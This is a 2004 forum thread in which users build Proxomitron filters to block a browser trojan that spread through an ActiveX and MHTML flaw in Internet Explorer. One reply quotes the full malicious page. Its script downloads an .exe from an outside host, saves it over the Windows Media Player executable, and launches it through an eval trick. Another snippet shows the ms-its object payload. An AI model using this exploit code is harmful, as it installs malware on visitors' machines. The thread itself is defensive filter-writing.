New User? Need help? Click here to register for free! Registering removes the advertisements.

Computer Cops
image image image image image image image image
Donations
If you found this site helpful, please donate to help keep it online
Don't want to use PayPal? Try our physical address
image
Prime Choice
· Head Lines
· Advisories (All)
· Dnld of the Week!
· CCSP News Ltrs
· Find a Cure!

· Ian T's (AR 24)
· Marcia's (CO8)
· Bill G's (CO12)
· Paul's (AR 5)
· Robin's (AR 2)

· Ian T's Archive
· Marcia's Archive
· Bill G's Archive
· Paul's Archive
· Robin's Archive
image
Security Central
· Home
· Wireless
· Bookmarks
· CLSID
· Columbia
· Community
· Downloads
· Encyclopedia
· Feedback (send)
· Forums
· Gallery
· Giveaways
· HijackThis
· Journal
· Members List
· My Downloads
· PremChat
· Premium
· Private Messages
· Proxomitron
· Quizz
· RegChat
· Reviews
· Google Search
· Sections
· Software
· Statistics
· Stories Archive
· Submit News
· Surveys
· Top
· Topics
· Web Links
· Your Account
image
CCSP Toolkit
· Email Virus Scan
· UDP Port Scanner
· TCP Port Scanner
· Trojan TCP Scan
· Reveal Your IP
· Algorithms
· Whois
· nmap port scanner
· IPs Banned [?]
image
Survey
How much can you give to keep Computer Cops online?

$10 up to $25 per year?
$25 up to $50 per year?
$10 up to $25 per month?
$25 up to $50 per month?
More than $50 per year?
More than $50 per month?
One time only?
Other (please comment)



Results
Polls

Votes: 1192
Comments: 21
image
Translate
English German French
Italian Portuguese Spanish
Chinese Greek Russian
image
 Forum FAQForum FAQ   SearchSearch   UsergroupsUsergroups   ProfileProfile   Login to check your private messagesLogin to check your private messages   LoginLogin   Your Favorite ForumsFavForums 

A filter to kill those MsXml Trojans

 
Post new topic   Reply to topic       All -> FavForums -> Proxomitron General
View previous topic :: View next topic  
Author Message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Wed Apr 07, 2004 1:25 pm    Post subject: A filter to kill those MsXml Trojans
Reply with quote

Be nice, it's my first attempt..

Code:

Name    = "Kill ActiveX Trojan 1a"
Active  = TRUE
Multi   = TRUE
URL = "$TYPE(htm)"
Limit   = 4096
Match = "<textarea id=*/textarea>"
Replace = "<!-- [Textarea Trojan Killed] --!>"

Name    = "Kill ActiveX Trojan 1b"
Active  = TRUE
Multi   = TRUE
URL = "$TYPE(htm)"
Limit   = 4096
Match   = "function preparecode*setTimeout"
Replace = "<!-- [ActiveX Trojan]--!>"


1a kills a textarea with a code id that sets up the trojan download
1b kills the javascript that runs the damn thing..

By the way - how do I put " into a filter
Code:

Match = "<textarea id=*/textarea>"
should be
Match = "<textarea id="code"*/textarea>"
for safety.


Last edited by Fluffbutt on Tue Apr 13, 2004 10:35 am, edited 1 time in total
Back to top
View users profile Send private message
z12

Sergeant
Sergeant



Joined: Jul 17, 2002
Posts: 135
Location: USA

PostPosted: Fri Apr 09, 2004 7:45 pm    Post subject:
Reply with quote

Hi Fluffbutt,

I'm guessing your referring to this: http://www.securityfocus.com/archive/1/...04-04-08/0

snippet:
Code:

<!-- VVZkV2RXSXpaeja1 -->
<textarea style='display:none;' id='code'>
    <object
data="ms-its:mhtml:file://C:\winhelp.mht!${PATH}/LOI.CHM
::/loi.htm" type="text/x-scriptlet"></object>
</textarea>


more info here: http://secunia.com/advisories/10523/

You might want to think about disabling any script or object code that has *.chm* or better yet, disable ActiveX for untrusted sites.

As for matching quotes in tags, probably your best bet is to use $AV() or $AVQ() depending on if you need to capture the quote marks.
Code:

<SomeTag *id=$AV(code)*>


This way, it doesn't matter if it's
id=code
id='code'
id="code"

Also, for html elements that have a start & end tag, like "object" for example, check out the $NEST() matching command. This is very useful, especially for matching table tags.

Code:

Bounds Match:$NEST(<object,</object>)
Matching Expression:*.chm*
Replacement Text:whatever


HTH
Mike
Back to top
View users profile Send private message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Sun Apr 11, 2004 5:37 am    Post subject:
Reply with quote

Actually I was referring to the reg33.exe virus from this code..
Code:

<textarea id="code" style="display:none;">

    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://ip3e83566f.speed.planet.nl/1.exe",0);
    x.Send();
   
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
    location.href = "mms://";

</textarea>
Wait a couple of seconds..

<script language="javascript">

    function preparecode(code) {
        result = '';
        lines = code.split(/\r\n/);
        for (i=0;i<lines.length;i++) {
       
            line = lines[i];
            line = line.replace(/^\s+/,"");
            line = line.replace(/\s+$/,"");
            line = line.replace(/'/g,"\\'");
            line = line.replace(/[\\]/g,"\\\\");
            line = line.replace(/[/]/g,"%2f");

            if (line != '') {
                result += line + '\\r\\n';
            }
        }
        return result;
    }
   
    function doit() {
        mycode = preparecode(document.all.code.value);
        myURL = "file:javascript:eval('" + mycode + "')";
        window.open(myURL,"_media");
    }
   

    window.open("error.jsp","_media");
   
    setTimeout("doit()", 5000);
   
   
</script>

Thanks for the info on the *id=$AV(code)*> bit, I'll try it.

The nest command won't work, the filter doesn't fir off at all with nest - I tried it earlier.

Blush!!! The reason I couldn't find the edit button was I went to the page, then logged on, then went to the page (which was still in my isp's cache server - I needed to do a 'force reload' )... sorry mate!!!

_________________
|
Meeow!


Last edited by Fluffbutt on Tue Apr 13, 2004 10:30 am, edited 2 times in total
Back to top
View users profile Send private message
LWC

Trooper
Trooper



Joined: Feb 13, 2004
Posts: 27
Location: Israel

PostPosted: Sun Apr 11, 2004 11:46 am    Post subject:
Reply with quote

I've just been affected by that trojan too! Or at least something similar (in
my case, I think it was "just" a spyware, but who knows...well, at least
the mighty Ad Aware got rid of it).

Anyway, I've opened a topic recently about a more minor syndrom of said script trouble.
I've just added a new filter there that may solve your problem.

Check it out in:
http://www.computercops.biz/postp139489.html

P.S.
When you quote codes, ALWAYS use this forum's (actually, any forum's) "code" tag.
My filter (in the aforementioned URL) thought you're a hacker yourself and now this page is crippled...of course, if you're a nice guy, you'd edit your post and add said code tags, won't you? Smile
Back to top
View users profile Send private message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Mon Apr 12, 2004 10:26 am    Post subject:
Reply with quote

LWC wrote:
...of course, if you're a nice guy, you'd edit your post and add said code tags, won't you? Smile


Umm, yes I am, and I would, but there's no 'edit' button here on my page - short of reposting the entire thing again, what can I do?
Back to top
View users profile Send private message
LWC

Trooper
Trooper



Joined: Feb 13, 2004
Posts: 27
Location: Israel

PostPosted: Mon Apr 12, 2004 12:44 pm    Post subject:
Reply with quote

Sure there is such a button. You just didn't notice it, I guess.
Note that it's a picture button so you can't look for the word "edit" and therefore must find it yourself.

You must be logged on, natrually, and then it's between the "quote" button and the "report" button (which is just a blue square, for some unknown reason) in the top right side of your post.

Oh, alright, I guess a picture is worth a thousand words...(i.e. look at the attachment).



editbutton.JPG
 Description:
 Filesize:  40.64 KB
 Viewed:  22 Time(s)

editbutton.JPG


Back to top
View users profile Send private message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Tue Apr 13, 2004 10:43 am    Post subject:
Reply with quote

Lwc.. umm yup, sorry, see above for explanation.

<Fluffbutt runs off in shame and hide his tail....>

_________________
|
Meeow!
Back to top
View users profile Send private message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Tue Apr 13, 2004 10:45 am    Post subject:
Reply with quote

Lwc.. umm yup, sorry, see above for explanation.

<Fluffbutt runs off in shame and hides his tail....>

_________________
|
Meeow!
Back to top
View users profile Send private message
Fluffbutt

Cadet
Cadet



Joined: Apr 07, 2004
Posts: 8
Location: Australia

PostPosted: Tue Apr 13, 2004 10:46 am    Post subject:
Reply with quote

Damn!! how did that happens..

Sorry for double posting.

_________________
|
Meeow!
Back to top
View users profile Send private message
Display posts from previous:   
Post new topic   Reply to topic       All -> FavForums -> Proxomitron General All times are GMT - 5 Hours
Page 1 of 1

 
 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB 2.0.8a © 2001 phpBB Group

Version 2.0.6 of PHP-Nuke Port by Tom Nitzschner © 2002 www.toms-home.com
Version 2.2 by Paul Laudanski © 2003-2004 Computer Cops